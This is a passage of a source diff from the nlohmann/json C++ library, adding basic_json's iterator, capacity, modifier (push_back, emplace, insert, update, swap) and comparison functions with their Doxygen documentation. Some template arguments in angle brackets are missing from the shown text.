+ + @since version 1.0.0 + */ + const_reverse_iterator crbegin() const noexcept + { + return const_reverse_iterator(cend()); + } + + /*! + @brief returns a const reverse iterator to one before the first + + Returns a const reverse iterator to the reverse-end; that is, one before + the first element. + + @image html range-rbegin-rend.svg "Illustration from cppreference.com" + + @complexity Constant. + + @requirement This function helps `basic_json` satisfying the + [ReversibleContainer](https://en.cppreference.com/w/cpp/named_req/ReversibleContainer) + requirements: + - The complexity is constant. + - Has the semantics of `const_cast(*this).rend()`. + + @liveexample{The following code shows an example for `crend()`.,crend} + + @sa @ref rend() -- returns a reverse iterator to the end + @sa @ref rbegin() -- returns a reverse iterator to the beginning + @sa @ref crbegin() -- returns a const reverse iterator to the beginning + + @since version 1.0.0 + */ + const_reverse_iterator crend() const noexcept + { + return const_reverse_iterator(cbegin()); + } + + public: + /*! + @brief wrapper to access iterator member functions in range-based for + + This function allows to access @ref iterator::key() and @ref + iterator::value() during range-based for loops. In these loops, a + reference to the JSON values is returned, so there is no access to the + underlying iterator. + + For loop without iterator_wrapper: + + @code{cpp} + for (auto it = j_object.begin(); it != j_object.end(); ++it) + { + std::cout << "key: " << it.key() << ", value:" << it.value() << '\n'; + } + @endcode + + Range-based for loop without iterator proxy: + + @code{cpp} + for (auto it : j_object) + { + // "it" is of type json::reference and has no key() member + std::cout << "value: " << it << '\n'; + } + @endcode + + Range-based for loop with iterator proxy: + + @code{cpp} + for (auto it : json::iterator_wrapper(j_object)) + { + std::cout << "key: " << it.key() << ", value:" << it.value() << '\n'; + } + @endcode + + @note When iterating over an array, `key()` will return the index of the + element as string (see example). + + @param[in] ref reference to a JSON value + @return iteration proxy object wrapping @a ref with an interface to use in + range-based for loops + + @liveexample{The following code shows how the wrapper is used,iterator_wrapper} + + @exceptionsafety Strong guarantee: if an exception is thrown, there are no + changes in the JSON value. + + @complexity Constant. + + @note The name of this function is not yet final and may change in the + future. + + @deprecated This stream operator is deprecated and will be removed in + future 4.0.0 of the library. Please use @ref items() instead; + that is, replace `json::iterator_wrapper(j)` with `j.items()`. + */ + JSON_HEDLEY_DEPRECATED_FOR(3.1.0, items()) + static iteration_proxy iterator_wrapper(reference ref) noexcept + { + return ref.items(); + } + + /*! + @copydoc iterator_wrapper(reference) + */ + JSON_HEDLEY_DEPRECATED_FOR(3.1.0, items()) + static iteration_proxy iterator_wrapper(const_reference ref) noexcept + { + return ref.items(); + } + + /*! + @brief helper to access iterator member functions in range-based for + + This function allows to access @ref iterator::key() and @ref + iterator::value() during range-based for loops. In these loops, a + reference to the JSON values is returned, so there is no access to the + underlying iterator. + + For loop without `items()` function: + + @code{cpp} + for (auto it = j_object.begin(); it != j_object.end(); ++it) + { + std::cout << "key: " << it.key() << ", value:" << it.value() << '\n'; + } + @endcode + + Range-based for loop without `items()` function: + + @code{cpp} + for (auto it : j_object) + { + // "it" is of type json::reference and has no key() member + std::cout << "value: " << it << '\n'; + } + @endcode + + Range-based for loop with `items()` function: + + @code{cpp} + for (auto& el : j_object.items()) + { + std::cout << "key: " << el.key() << ", value:" << el.value() << '\n'; + } + @endcode + + The `items()` function also allows to use + [structured bindings](https://en.cppreference.com/w/cpp/language/structured_binding) + (C++17): + + @code{cpp} + for (auto& [key, val] : j_object.items()) + { + std::cout << "key: " << key << ", value:" << val << '\n'; + } + @endcode + + @note When iterating over an array, `key()` will return the index of the + element as string (see example). For primitive types (e.g., numbers), + `key()` returns an empty string. + + @warning Using `items()` on temporary objects is dangerous. Make sure the + object's lifetime exeeds the iteration. See + for more + information. + + @return iteration proxy object wrapping @a ref with an interface to use in + range-based for loops + + @liveexample{The following code shows how the function is used.,items} + + @exceptionsafety Strong guarantee: if an exception is thrown, there are no + changes in the JSON value. + + @complexity Constant. + + @since version 3.1.0, structured bindings support since 3.5.0. + */ + iteration_proxy items() noexcept + { + return iteration_proxy(*this); + } + + /*! + @copydoc items() + */ + iteration_proxy items() const noexcept + { + return iteration_proxy(*this); + } + + /// @} + + + ////////////// + // capacity // + ////////////// + + /// @name capacity + /// @{ + + /*! + @brief checks whether the container is empty. + + Checks if a JSON value has no elements (i.e. whether its @ref size is `0`). + + @return The return value depends on the different types and is + defined as follows: + Value type | return value + ----------- | ------------- + null | `true` + boolean | `false` + string | `false` + number | `false` + binary | `false` + object | result of function `object_t::empty()` + array | result of function `array_t::empty()` + + @liveexample{The following code uses `empty()` to check if a JSON + object contains any elements.,empty} + + @complexity Constant, as long as @ref array_t and @ref object_t satisfy + the Container concept; that is, their `empty()` functions have constant + complexity. + + @iterators No changes. + + @exceptionsafety No-throw guarantee: this function never throws exceptions. + + @note This function does not return whether a string stored as JSON value + is empty - it returns whether the JSON container itself is empty which is + false in the case of a string. + + @requirement This function helps `basic_json` satisfying the + [Container](https://en.cppreference.com/w/cpp/named_req/Container) + requirements: + - The complexity is constant. + - Has the semantics of `begin() == end()`. + + @sa @ref size() -- returns the number of elements + + @since version 1.0.0 + */ + bool empty() const noexcept + { + switch (m_type) + { + case value_t::null: + { + // null values are empty + return true; + } + + case value_t::array: + { + // delegate call to array_t::empty() + return m_value.array->empty(); + } + + case value_t::object: + { + // delegate call to object_t::empty() + return m_value.object->empty(); + } + + default: + { + // all other types are nonempty + return false; + } + } + } + + /*! + @brief returns the number of elements + + Returns the number of elements in a JSON value. + + @return The return value depends on the different types and is + defined as follows: + Value type | return value + ----------- | ------------- + null | `0` + boolean | `1` + string | `1` + number | `1` + binary | `1` + object | result of function object_t::size() + array | result of function array_t::size() + + @liveexample{The following code calls `size()` on the different value + types.,size} + + @complexity Constant, as long as @ref array_t and @ref object_t satisfy + the Container concept; that is, their size() functions have constant + complexity. + + @iterators No changes. + + @exceptionsafety No-throw guarantee: this function never throws exceptions. + + @note This function does not return the length of a string stored as JSON + value - it returns the number of elements in the JSON value which is 1 in + the case of a string. + + @requirement This function helps `basic_json` satisfying the + [Container](https://en.cppreference.com/w/cpp/named_req/Container) + requirements: + - The complexity is constant. + - Has the semantics of `std::distance(begin(), end())`. + + @sa @ref empty() -- checks whether the container is empty + @sa @ref max_size() -- returns the maximal number of elements + + @since version 1.0.0 + */ + size_type size() const noexcept + { + switch (m_type) + { + case value_t::null: + { + // null values are empty + return 0; + } + + case value_t::array: + { + // delegate call to array_t::size() + return m_value.array->size(); + } + + case value_t::object: + { + // delegate call to object_t::size() + return m_value.object->size(); + } + + default: + { + // all other types have size 1 + return 1; + } + } + } + + /*! + @brief returns the maximum possible number of elements + + Returns the maximum number of elements a JSON value is able to hold due to + system or library implementation limitations, i.e. `std::distance(begin(), + end())` for the JSON value. + + @return The return value depends on the different types and is + defined as follows: + Value type | return value + ----------- | ------------- + null | `0` (same as `size()`) + boolean | `1` (same as `size()`) + string | `1` (same as `size()`) + number | `1` (same as `size()`) + binary | `1` (same as `size()`) + object | result of function `object_t::max_size()` + array | result of function `array_t::max_size()` + + @liveexample{The following code calls `max_size()` on the different value + types. Note the output is implementation specific.,max_size} + + @complexity Constant, as long as @ref array_t and @ref object_t satisfy + the Container concept; that is, their `max_size()` functions have constant + complexity. + + @iterators No changes. + + @exceptionsafety No-throw guarantee: this function never throws exceptions. + + @requirement This function helps `basic_json` satisfying the + [Container](https://en.cppreference.com/w/cpp/named_req/Container) + requirements: + - The complexity is constant. + - Has the semantics of returning `b.size()` where `b` is the largest + possible JSON value. + + @sa @ref size() -- returns the number of elements + + @since version 1.0.0 + */ + size_type max_size() const noexcept + { + switch (m_type) + { + case value_t::array: + { + // delegate call to array_t::max_size() + return m_value.array->max_size(); + } + + case value_t::object: + { + // delegate call to object_t::max_size() + return m_value.object->max_size(); + } + + default: + { + // all other types have max_size() == size() + return size(); + } + } + } + + /// @} + + + /////////////// + // modifiers // + /////////////// + + /// @name modifiers + /// @{ + + /*! + @brief clears the contents + + Clears the content of a JSON value and resets it to the default value as + if @ref basic_json(value_t) would have been called with the current value + type from @ref type(): + + Value type | initial value + ----------- | ------------- + null | `null` + boolean | `false` + string | `""` + number | `0` + binary | An empty byte vector + object | `{}` + array | `[]` + + @post Has the same effect as calling + @code {.cpp} + *this = basic_json(type()); + @endcode + + @liveexample{The example below shows the effect of `clear()` to different + JSON types.,clear} + + @complexity Linear in the size of the JSON value. + + @iterators All iterators, pointers and references related to this container + are invalidated. + + @exceptionsafety No-throw guarantee: this function never throws exceptions. + + @sa @ref basic_json(value_t) -- constructor that creates an object with the + same value than calling `clear()` + + @since version 1.0.0 + */ + void clear() noexcept + { + switch (m_type) + { + case value_t::number_integer: + { + m_value.number_integer = 0; + break; + } + + case value_t::number_unsigned: + { + m_value.number_unsigned = 0; + break; + } + + case value_t::number_float: + { + m_value.number_float = 0.0; + break; + } + + case value_t::boolean: + { + m_value.boolean = false; + break; + } + + case value_t::string: + { + m_value.string->clear(); + break; + } + + case value_t::binary: + { + m_value.binary->clear(); + break; + } + + case value_t::array: + { + m_value.array->clear(); + break; + } + + case value_t::object: + { + m_value.object->clear(); + break; + } + + default: + break; + } + } + + /*! + @brief add an object to an array + + Appends the given element @a val to the end of the JSON value. If the + function is called on a JSON null value, an empty array is created before + appending @a val. + + @param[in] val the value to add to the JSON array + + @throw type_error.308 when called on a type other than JSON array or + null; example: `"cannot use push_back() with number"` + + @complexity Amortized constant. + + @liveexample{The example shows how `push_back()` and `+=` can be used to + add elements to a JSON array. Note how the `null` value was silently + converted to a JSON array.,push_back} + + @since version 1.0.0 + */ + void push_back(basic_json&& val) + { + // push_back only works for null objects or arrays + if (JSON_HEDLEY_UNLIKELY(!(is_null() || is_array()))) + { + JSON_THROW(type_error::create(308, "cannot use push_back() with " + std::string(type_name()))); + } + + // transform null object into an array + if (is_null()) + { + m_type = value_t::array; + m_value = value_t::array; + assert_invariant(); + } + + // add element to array (move semantics) + m_value.array->push_back(std::move(val)); + // if val is moved from, basic_json move constructor marks it null so we do not call the destructor + } + + /*! + @brief add an object to an array + @copydoc push_back(basic_json&&) + */ + reference operator+=(basic_json&& val) + { + push_back(std::move(val)); + return *this; + } + + /*! + @brief add an object to an array + @copydoc push_back(basic_json&&) + */ + void push_back(const basic_json& val) + { + // push_back only works for null objects or arrays + if (JSON_HEDLEY_UNLIKELY(!(is_null() || is_array()))) + { + JSON_THROW(type_error::create(308, "cannot use push_back() with " + std::string(type_name()))); + } + + // transform null object into an array + if (is_null()) + { + m_type = value_t::array; + m_value = value_t::array; + assert_invariant(); + } + + // add element to array + m_value.array->push_back(val); + } + + /*! + @brief add an object to an array + @copydoc push_back(basic_json&&) + */ + reference operator+=(const basic_json& val) + { + push_back(val); + return *this; + } + + /*! + @brief add an object to an object + + Inserts the given element @a val to the JSON object. If the function is + called on a JSON null value, an empty object is created before inserting + @a val. + + @param[in] val the value to add to the JSON object + + @throw type_error.308 when called on a type other than JSON object or + null; example: `"cannot use push_back() with number"` + + @complexity Logarithmic in the size of the container, O(log(`size()`)). + + @liveexample{The example shows how `push_back()` and `+=` can be used to + add elements to a JSON object. Note how the `null` value was silently + converted to a JSON object.,push_back__object_t__value} + + @since version 1.0.0 + */ + void push_back(const typename object_t::value_type& val) + { + // push_back only works for null objects or objects + if (JSON_HEDLEY_UNLIKELY(!(is_null() || is_object()))) + { + JSON_THROW(type_error::create(308, "cannot use push_back() with " + std::string(type_name()))); + } + + // transform null object into an object + if (is_null()) + { + m_type = value_t::object; + m_value = value_t::object; + assert_invariant(); + } + + // add element to array + m_value.object->insert(val); + } + + /*! + @brief add an object to an object + @copydoc push_back(const typename object_t::value_type&) + */ + reference operator+=(const typename object_t::value_type& val) + { + push_back(val); + return *this; + } + + /*! + @brief add an object to an object + + This function allows to use `push_back` with an initializer list. In case + + 1. the current value is an object, + 2. the initializer list @a init contains only two elements, and + 3. the first element of @a init is a string, + + @a init is converted into an object element and added using + @ref push_back(const typename object_t::value_type&). Otherwise, @a init + is converted to a JSON value and added using @ref push_back(basic_json&&). + + @param[in] init an initializer list + + @complexity Linear in the size of the initializer list @a init. + + @note This function is required to resolve an ambiguous overload error, + because pairs like `{"key", "value"}` can be both interpreted as + `object_t::value_type` or `std::initializer_list`, see + https://github.com/nlohmann/json/issues/235 for more information. + + @liveexample{The example shows how initializer lists are treated as + objects when possible.,push_back__initializer_list} + */ + void push_back(initializer_list_t init) + { + if (is_object() && init.size() == 2 && (*init.begin())->is_string()) + { + basic_json&& key = init.begin()->moved_or_copied(); + push_back(typename object_t::value_type( + std::move(key.get_ref()), (init.begin() + 1)->moved_or_copied())); + } + else + { + push_back(basic_json(init)); + } + } + + /*! + @brief add an object to an object + @copydoc push_back(initializer_list_t) + */ + reference operator+=(initializer_list_t init) + { + push_back(init); + return *this; + } + + /*! + @brief add an object to an array + + Creates a JSON value from the passed parameters @a args to the end of the + JSON value. If the function is called on a JSON null value, an empty array + is created before appending the value created from @a args. + + @param[in] args arguments to forward to a constructor of @ref basic_json + @tparam Args compatible types to create a @ref basic_json object + + @return reference to the inserted element + + @throw type_error.311 when called on a type other than JSON array or + null; example: `"cannot use emplace_back() with number"` + + @complexity Amortized constant. + + @liveexample{The example shows how `push_back()` can be used to add + elements to a JSON array. Note how the `null` value was silently converted + to a JSON array.,emplace_back} + + @since version 2.0.8, returns reference since 3.7.0 + */ + template + reference emplace_back(Args&& ... args) + { + // emplace_back only works for null objects or arrays + if (JSON_HEDLEY_UNLIKELY(!(is_null() || is_array()))) + { + JSON_THROW(type_error::create(311, "cannot use emplace_back() with " + std::string(type_name()))); + } + + // transform null object into an array + if (is_null()) + { + m_type = value_t::array; + m_value = value_t::array; + assert_invariant(); + } + + // add element to array (perfect forwarding) +#ifdef JSON_HAS_CPP_17 + return m_value.array->emplace_back(std::forward(args)...); +#else + m_value.array->emplace_back(std::forward(args)...); + return m_value.array->back(); +#endif + } + + /*! + @brief add an object to an object if key does not exist + + Inserts a new element into a JSON object constructed in-place with the + given @a args if there is no element with the key in the container. If the + function is called on a JSON null value, an empty object is created before + appending the value created from @a args. + + @param[in] args arguments to forward to a constructor of @ref basic_json + @tparam Args compatible types to create a @ref basic_json object + + @return a pair consisting of an iterator to the inserted element, or the + already-existing element if no insertion happened, and a bool + denoting whether the insertion took place. + + @throw type_error.311 when called on a type other than JSON object or + null; example: `"cannot use emplace() with number"` + + @complexity Logarithmic in the size of the container, O(log(`size()`)). + + @liveexample{The example shows how `emplace()` can be used to add elements + to a JSON object. Note how the `null` value was silently converted to a + JSON object. Further note how no value is added if there was already one + value stored with the same key.,emplace} + + @since version 2.0.8 + */ + template + std::pair emplace(Args&& ... args) + { + // emplace only works for null objects or arrays + if (JSON_HEDLEY_UNLIKELY(!(is_null() || is_object()))) + { + JSON_THROW(type_error::create(311, "cannot use emplace() with " + std::string(type_name()))); + } + + // transform null object into an object + if (is_null()) + { + m_type = value_t::object; + m_value = value_t::object; + assert_invariant(); + } + + // add element to array (perfect forwarding) + auto res = m_value.object->emplace(std::forward(args)...); + // create result iterator and set iterator to the result of emplace + auto it = begin(); + it.m_it.object_iterator = res.first; + + // return pair of iterator and boolean + return {it, res.second}; + } + + /// Helper for insertion of an iterator + /// @note: This uses std::distance to support GCC 4.8, + /// see https://github.com/nlohmann/json/pull/1257 + template + iterator insert_iterator(const_iterator pos, Args&& ... args) + { + iterator result(this); + JSON_ASSERT(m_value.array != nullptr); + + auto insert_pos = std::distance(m_value.array->begin(), pos.m_it.array_iterator); + m_value.array->insert(pos.m_it.array_iterator, std::forward(args)...); + result.m_it.array_iterator = m_value.array->begin() + insert_pos; + + // This could have been written as: + // result.m_it.array_iterator = m_value.array->insert(pos.m_it.array_iterator, cnt, val); + // but the return value of insert is missing in GCC 4.8, so it is written this way instead. + + return result; + } + + /*! + @brief inserts element + + Inserts element @a val before iterator @a pos. + + @param[in] pos iterator before which the content will be inserted; may be + the end() iterator + @param[in] val element to insert + @return iterator pointing to the inserted @a val. + + @throw type_error.309 if called on JSON values other than arrays; + example: `"cannot use insert() with string"` + @throw invalid_iterator.202 if @a pos is not an iterator of *this; + example: `"iterator does not fit current value"` + + @complexity Constant plus linear in the distance between @a pos and end of + the container. + + @liveexample{The example shows how `insert()` is used.,insert} + + @since version 1.0.0 + */ + iterator insert(const_iterator pos, const basic_json& val) + { + // insert only works for arrays + if (JSON_HEDLEY_LIKELY(is_array())) + { + // check if iterator pos fits to this JSON value + if (JSON_HEDLEY_UNLIKELY(pos.m_object != this)) + { + JSON_THROW(invalid_iterator::create(202, "iterator does not fit current value")); + } + + // insert to array and return iterator + return insert_iterator(pos, val); + } + + JSON_THROW(type_error::create(309, "cannot use insert() with " + std::string(type_name()))); + } + + /*! + @brief inserts element + @copydoc insert(const_iterator, const basic_json&) + */ + iterator insert(const_iterator pos, basic_json&& val) + { + return insert(pos, val); + } + + /*! + @brief inserts elements + + Inserts @a cnt copies of @a val before iterator @a pos. + + @param[in] pos iterator before which the content will be inserted; may be + the end() iterator + @param[in] cnt number of copies of @a val to insert + @param[in] val element to insert + @return iterator pointing to the first element inserted, or @a pos if + `cnt==0` + + @throw type_error.309 if called on JSON values other than arrays; example: + `"cannot use insert() with string"` + @throw invalid_iterator.202 if @a pos is not an iterator of *this; + example: `"iterator does not fit current value"` + + @complexity Linear in @a cnt plus linear in the distance between @a pos + and end of the container. + + @liveexample{The example shows how `insert()` is used.,insert__count} + + @since version 1.0.0 + */ + iterator insert(const_iterator pos, size_type cnt, const basic_json& val) + { + // insert only works for arrays + if (JSON_HEDLEY_LIKELY(is_array())) + { + // check if iterator pos fits to this JSON value + if (JSON_HEDLEY_UNLIKELY(pos.m_object != this)) + { + JSON_THROW(invalid_iterator::create(202, "iterator does not fit current value")); + } + + // insert to array and return iterator + return insert_iterator(pos, cnt, val); + } + + JSON_THROW(type_error::create(309, "cannot use insert() with " + std::string(type_name()))); + } + + /*! + @brief inserts elements + + Inserts elements from range `[first, last)` before iterator @a pos. + + @param[in] pos iterator before which the content will be inserted; may be + the end() iterator + @param[in] first begin of the range of elements to insert + @param[in] last end of the range of elements to insert + + @throw type_error.309 if called on JSON values other than arrays; example: + `"cannot use insert() with string"` + @throw invalid_iterator.202 if @a pos is not an iterator of *this; + example: `"iterator does not fit current value"` + @throw invalid_iterator.210 if @a first and @a last do not belong to the + same JSON value; example: `"iterators do not fit"` + @throw invalid_iterator.211 if @a first or @a last are iterators into + container for which insert is called; example: `"passed iterators may not + belong to container"` + + @return iterator pointing to the first element inserted, or @a pos if + `first==last` + + @complexity Linear in `std::distance(first, last)` plus linear in the + distance between @a pos and end of the container. + + @liveexample{The example shows how `insert()` is used.,insert__range} + + @since version 1.0.0 + */ + iterator insert(const_iterator pos, const_iterator first, const_iterator last) + { + // insert only works for arrays + if (JSON_HEDLEY_UNLIKELY(!is_array())) + { + JSON_THROW(type_error::create(309, "cannot use insert() with " + std::string(type_name()))); + } + + // check if iterator pos fits to this JSON value + if (JSON_HEDLEY_UNLIKELY(pos.m_object != this)) + { + JSON_THROW(invalid_iterator::create(202, "iterator does not fit current value")); + } + + // check if range iterators belong to the same JSON object + if (JSON_HEDLEY_UNLIKELY(first.m_object != last.m_object)) + { + JSON_THROW(invalid_iterator::create(210, "iterators do not fit")); + } + + if (JSON_HEDLEY_UNLIKELY(first.m_object == this)) + { + JSON_THROW(invalid_iterator::create(211, "passed iterators may not belong to container")); + } + + // insert to array and return iterator + return insert_iterator(pos, first.m_it.array_iterator, last.m_it.array_iterator); + } + + /*! + @brief inserts elements + + Inserts elements from initializer list @a ilist before iterator @a pos. + + @param[in] pos iterator before which the content will be inserted; may be + the end() iterator + @param[in] ilist initializer list to insert the values from + + @throw type_error.309 if called on JSON values other than arrays; example: + `"cannot use insert() with string"` + @throw invalid_iterator.202 if @a pos is not an iterator of *this; + example: `"iterator does not fit current value"` + + @return iterator pointing to the first element inserted, or @a pos if + `ilist` is empty + + @complexity Linear in `ilist.size()` plus linear in the distance between + @a pos and end of the container. + + @liveexample{The example shows how `insert()` is used.,insert__ilist} + + @since version 1.0.0 + */ + iterator insert(const_iterator pos, initializer_list_t ilist) + { + // insert only works for arrays + if (JSON_HEDLEY_UNLIKELY(!is_array())) + { + JSON_THROW(type_error::create(309, "cannot use insert() with " + std::string(type_name()))); + } + + // check if iterator pos fits to this JSON value + if (JSON_HEDLEY_UNLIKELY(pos.m_object != this)) + { + JSON_THROW(invalid_iterator::create(202, "iterator does not fit current value")); + } + + // insert to array and return iterator + return insert_iterator(pos, ilist.begin(), ilist.end()); + } + + /*! + @brief inserts elements + + Inserts elements from range `[first, last)`. + + @param[in] first begin of the range of elements to insert + @param[in] last end of the range of elements to insert + + @throw type_error.309 if called on JSON values other than objects; example: + `"cannot use insert() with string"` + @throw invalid_iterator.202 if iterator @a first or @a last does does not + point to an object; example: `"iterators first and last must point to + objects"` + @throw invalid_iterator.210 if @a first and @a last do not belong to the + same JSON value; example: `"iterators do not fit"` + + @complexity Logarithmic: `O(N*log(size() + N))`, where `N` is the number + of elements to insert. + + @liveexample{The example shows how `insert()` is used.,insert__range_object} + + @since version 3.0.0 + */ + void insert(const_iterator first, const_iterator last) + { + // insert only works for objects + if (JSON_HEDLEY_UNLIKELY(!is_object())) + { + JSON_THROW(type_error::create(309, "cannot use insert() with " + std::string(type_name()))); + } + + // check if range iterators belong to the same JSON object + if (JSON_HEDLEY_UNLIKELY(first.m_object != last.m_object)) + { + JSON_THROW(invalid_iterator::create(210, "iterators do not fit")); + } + + // passed iterators must belong to objects + if (JSON_HEDLEY_UNLIKELY(!first.m_object->is_object())) + { + JSON_THROW(invalid_iterator::create(202, "iterators first and last must point to objects")); + } + + m_value.object->insert(first.m_it.object_iterator, last.m_it.object_iterator); + } + + /*! + @brief updates a JSON object from another object, overwriting existing keys + + Inserts all values from JSON object @a j and overwrites existing keys. + + @param[in] j JSON object to read values from + + @throw type_error.312 if called on JSON values other than objects; example: + `"cannot use update() with string"` + + @complexity O(N*log(size() + N)), where N is the number of elements to + insert. + + @liveexample{The example shows how `update()` is used.,update} + + @sa https://docs.python.org/3.6/library/stdtypes.html#dict.update + + @since version 3.0.0 + */ + void update(const_reference j) + { + // implicitly convert null value to an empty object + if (is_null()) + { + m_type = value_t::object; + m_value.object = create(); + assert_invariant(); + } + + if (JSON_HEDLEY_UNLIKELY(!is_object())) + { + JSON_THROW(type_error::create(312, "cannot use update() with " + std::string(type_name()))); + } + if (JSON_HEDLEY_UNLIKELY(!j.is_object())) + { + JSON_THROW(type_error::create(312, "cannot use update() with " + std::string(j.type_name()))); + } + + for (auto it = j.cbegin(); it != j.cend(); ++it) + { + m_value.object->operator[](it.key()) = it.value(); + } + } + + /*! + @brief updates a JSON object from another object, overwriting existing keys + + Inserts all values from from range `[first, last)` and overwrites existing + keys. + + @param[in] first begin of the range of elements to insert + @param[in] last end of the range of elements to insert + + @throw type_error.312 if called on JSON values other than objects; example: + `"cannot use update() with string"` + @throw invalid_iterator.202 if iterator @a first or @a last does does not + point to an object; example: `"iterators first and last must point to + objects"` + @throw invalid_iterator.210 if @a first and @a last do not belong to the + same JSON value; example: `"iterators do not fit"` + + @complexity O(N*log(size() + N)), where N is the number of elements to + insert. + + @liveexample{The example shows how `update()` is used__range.,update} + + @sa https://docs.python.org/3.6/library/stdtypes.html#dict.update + + @since version 3.0.0 + */ + void update(const_iterator first, const_iterator last) + { + // implicitly convert null value to an empty object + if (is_null()) + { + m_type = value_t::object; + m_value.object = create(); + assert_invariant(); + } + + if (JSON_HEDLEY_UNLIKELY(!is_object())) + { + JSON_THROW(type_error::create(312, "cannot use update() with " + std::string(type_name()))); + } + + // check if range iterators belong to the same JSON object + if (JSON_HEDLEY_UNLIKELY(first.m_object != last.m_object)) + { + JSON_THROW(invalid_iterator::create(210, "iterators do not fit")); + } + + // passed iterators must belong to objects + if (JSON_HEDLEY_UNLIKELY(!first.m_object->is_object() + || !last.m_object->is_object())) + { + JSON_THROW(invalid_iterator::create(202, "iterators first and last must point to objects")); + } + + for (auto it = first; it != last; ++it) + { + m_value.object->operator[](it.key()) = it.value(); + } + } + + /*! + @brief exchanges the values + + Exchanges the contents of the JSON value with those of @a other. Does not + invoke any move, copy, or swap operations on individual elements. All + iterators and references remain valid. The past-the-end iterator is + invalidated. + + @param[in,out] other JSON value to exchange the contents with + + @complexity Constant. + + @liveexample{The example below shows how JSON values can be swapped with + `swap()`.,swap__reference} + + @since version 1.0.0 + */ + void swap(reference other) noexcept ( + std::is_nothrow_move_constructible::value&& + std::is_nothrow_move_assignable::value&& + std::is_nothrow_move_constructible::value&& + std::is_nothrow_move_assignable::value + ) + { + std::swap(m_type, other.m_type); + std::swap(m_value, other.m_value); + assert_invariant(); + } + + /*! + @brief exchanges the values + + Exchanges the contents of the JSON value from @a left with those of @a right. Does not + invoke any move, copy, or swap operations on individual elements. All + iterators and references remain valid. The past-the-end iterator is + invalidated. implemented as a friend function callable via ADL. + + @param[in,out] left JSON value to exchange the contents with + @param[in,out] right JSON value to exchange the contents with + + @complexity Constant. + + @liveexample{The example below shows how JSON values can be swapped with + `swap()`.,swap__reference} + + @since version 1.0.0 + */ + friend void swap(reference left, reference right) noexcept ( + std::is_nothrow_move_constructible::value&& + std::is_nothrow_move_assignable::value&& + std::is_nothrow_move_constructible::value&& + std::is_nothrow_move_assignable::value + ) + { + left.swap(right); + } + + /*! + @brief exchanges the values + + Exchanges the contents of a JSON array with those of @a other. Does not + invoke any move, copy, or swap operations on individual elements. All + iterators and references remain valid. The past-the-end iterator is + invalidated. + + @param[in,out] other array to exchange the contents with + + @throw type_error.310 when JSON value is not an array; example: `"cannot + use swap() with string"` + + @complexity Constant. + + @liveexample{The example below shows how arrays can be swapped with + `swap()`.,swap__array_t} + + @since version 1.0.0 + */ + void swap(array_t& other) + { + // swap only works for arrays + if (JSON_HEDLEY_LIKELY(is_array())) + { + std::swap(*(m_value.array), other); + } + else + { + JSON_THROW(type_error::create(310, "cannot use swap() with " + std::string(type_name()))); + } + } + + /*! + @brief exchanges the values + + Exchanges the contents of a JSON object with those of @a other. Does not + invoke any move, copy, or swap operations on individual elements. All + iterators and references remain valid. The past-the-end iterator is + invalidated. + + @param[in,out] other object to exchange the contents with + + @throw type_error.310 when JSON value is not an object; example: + `"cannot use swap() with string"` + + @complexity Constant. + + @liveexample{The example below shows how objects can be swapped with + `swap()`.,swap__object_t} + + @since version 1.0.0 + */ + void swap(object_t& other) + { + // swap only works for objects + if (JSON_HEDLEY_LIKELY(is_object())) + { + std::swap(*(m_value.object), other); + } + else + { + JSON_THROW(type_error::create(310, "cannot use swap() with " + std::string(type_name()))); + } + } + + /*! + @brief exchanges the values + + Exchanges the contents of a JSON string with those of @a other. Does not + invoke any move, copy, or swap operations on individual elements. All + iterators and references remain valid. The past-the-end iterator is + invalidated. + + @param[in,out] other string to exchange the contents with + + @throw type_error.310 when JSON value is not a string; example: `"cannot + use swap() with boolean"` + + @complexity Constant. + + @liveexample{The example below shows how strings can be swapped with + `swap()`.,swap__string_t} + + @since version 1.0.0 + */ + void swap(string_t& other) + { + // swap only works for strings + if (JSON_HEDLEY_LIKELY(is_string())) + { + std::swap(*(m_value.string), other); + } + else + { + JSON_THROW(type_error::create(310, "cannot use swap() with " + std::string(type_name()))); + } + } + + /*! + @brief exchanges the values + + Exchanges the contents of a JSON string with those of @a other. Does not + invoke any move, copy, or swap operations on individual elements. All + iterators and references remain valid. The past-the-end iterator is + invalidated. + + @param[in,out] other binary to exchange the contents with + + @throw type_error.310 when JSON value is not a string; example: `"cannot + use swap() with boolean"` + + @complexity Constant. + + @liveexample{The example below shows how strings can be swapped with + `swap()`.,swap__binary_t} + + @since version 3.8.0 + */ + void swap(binary_t& other) + { + // swap only works for strings + if (JSON_HEDLEY_LIKELY(is_binary())) + { + std::swap(*(m_value.binary), other); + } + else + { + JSON_THROW(type_error::create(310, "cannot use swap() with " + std::string(type_name()))); + } + } + + /// @copydoc swap(binary_t) + void swap(typename binary_t::container_type& other) + { + // swap only works for strings + if (JSON_HEDLEY_LIKELY(is_binary())) + { + std::swap(*(m_value.binary), other); + } + else + { + JSON_THROW(type_error::create(310, "cannot use swap() with " + std::string(type_name()))); + } + } + + /// @} + + public: + ////////////////////////////////////////// + // lexicographical comparison operators // + ////////////////////////////////////////// + + /// @name lexicographical comparison operators + /// @{ + + /*! + @brief comparison: equal + + Compares two JSON values for equality according to the following rules: + - Two JSON values are equal if (1) they are from the same type and (2) + their stored values are the same according to their respective + `operator==`. + - Integer and floating-point numbers are automatically converted before + comparison. Note that two NaN values are always treated as unequal. + - Two JSON null values are equal. + + @note Floating-point inside JSON values numbers are compared with + `json::number_float_t::operator==` which is `double::operator==` by + default. To compare floating-point while respecting an epsilon, an alternative + [comparison function](https://github.com/mariokonrad/marnav/blob/master/include/marnav/math/floatingpoint.hpp#L34-#L39) + could be used, for instance + @code {.cpp} + template::value, T>::type> + inline bool is_same(T a, T b, T epsilon = std::numeric_limits::epsilon()) noexcept + { + return std::abs(a - b) <= epsilon; + } + @endcode + Or you can self-defined operator equal function like this: + @code {.cpp} + bool my_equal(const_reference lhs, const_reference rhs) { + const auto lhs_type lhs.type(); + const auto rhs_type rhs.type(); + if (lhs_type == rhs_type) { + switch(lhs_type) + // self_defined case + case value_t::number_float: + return std::abs(lhs - rhs) <= std::numeric_limits::epsilon(); + // other cases remain the same with the original + ... + } + ... + } + @endcode + + @note NaN values never compare equal to themselves or to other NaN values. + + @param[in] lhs first JSON value to consider + @param[in] rhs second JSON value to consider + @return whether the values @a lhs and @a rhs are equal + + @exceptionsafety No-throw guarantee: this function never throws exceptions. + + @complexity Linear. + + @liveexample{The example demonstrates comparing several JSON + types.,operator__equal} + + @since version 1.0.0 + */ + friend bool operator==(const_reference lhs, const_reference rhs) noexcept + { + const auto lhs_type = lhs.type(); + const auto rhs_type = rhs.type(); + + if (lhs_type == rhs_type) + { + switch 